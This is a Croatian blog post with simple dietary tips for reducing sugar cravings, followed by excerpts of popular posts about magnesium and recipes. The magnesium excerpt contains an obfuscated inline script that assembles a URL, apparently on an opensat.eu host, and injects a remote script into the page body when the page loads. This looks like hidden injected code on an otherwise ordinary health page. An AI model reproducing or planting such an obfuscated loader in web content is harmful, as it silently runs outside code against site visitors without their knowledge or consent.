KAKO UMANJITI ŽELJU ZA SLATKIŠIMA?


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Kako umanjiti želju za slatkišima?




Slatkiši često pružaju trenutno zadovoljstvo, ali pretjerana konzumacija šećera može dovesti do neželjenih posljedica po naše zdravlje. Srećom, postoji nekoliko jednostavnih trikova koji nam mogu pomoći postupno smanjiti tu želju i pronaći ravnotežu u prehrani.





U prehranu uključite složene ugljikohidrate

Umjesto da posegnete za brzim izvorima šećera, pokušajte se orijentirati na konzumaciju kompleksnih ugljikohidrata. Integralne žitarice, povrće i voće sadrže sporije probavljivije šećere koji postupno otpuštaju energiju i održavaju stabilnost razine glukoze u krvi. Ovakav pristup pomaže u izbjegavanju naglih oscilacija šećera koje mogu izazvati želju za slatkim.



Uvrstite više proteina u obroke

Jedan od djelotvornih načina za smanjenje želje za šećerom jest povećan unos proteina. Namirnice kao što su jaja, piletina, riba, mahunarke i orašasti plodovi sadrže visok sadržaj proteina koji pruža osjećaj sitosti i stabilizira razinu glukoze u krvi.



Planirajte obroke unaprijed

Redovito planiranje obroka može vam pomoći u izbjegavanju nagle pojave gladi i nekontrolirane želje za slatkim grickalicama. Konzumiranjem uravnoteženih obroka koji kombiniraju proteine, zdrave masti i kompleksne ugljikohidrate održavate stabilnost razine glukoze u krvi i smanjujete potrebu za slatkišima.



Korak po korak prema smanjenju

Umjesto radikalnih promjena, razmotrite postupno smanjenje unosa šećera da biste izbjegli osjećaj uskraćenosti. Lagano smanjenje količine dodanog šećera u napicima i jelima omogućava tijelu prilagoditi se manje slatkim okusima. Ovaj postupan pristup olakšava proces prilagodbe i postupno smanjuje želju za izrazito slatkim namirnicama.

Važno je shvatiti da ovo nije trka, nego put ka održivim promjenama u prehrambenim navikama. Uvođenjem ovih jednostavnih trikova uz strpljenje i dosljednost možete postići cilj smanjenja želje za šećerom i usvojiti zdraviji pristup prehrani.


Kako umanjiti želju za slatkišima


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više